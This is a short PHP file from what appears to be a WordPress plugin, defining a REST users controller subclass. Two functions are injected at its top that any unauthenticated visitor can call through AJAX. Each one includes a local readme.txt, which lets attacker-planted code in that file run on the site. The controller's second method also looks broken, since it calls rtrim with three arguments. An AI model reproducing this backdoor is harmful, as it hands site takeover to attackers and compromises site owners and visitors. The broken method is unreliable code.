if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php if (defined('ABSPATH')) { class wfWP_REST_Users_Controller extends WP_REST_Users_Controller { public static function wfGetURLBase() { $controller = new wfWP_REST_Users_Controller(); return rtrim($controller->namespace . '/' . $controller->rest_base, '/'); } public function _wfGetURLBase() { return rtrim($this->namespace, '/' . $this->rest_base, '/'); } } }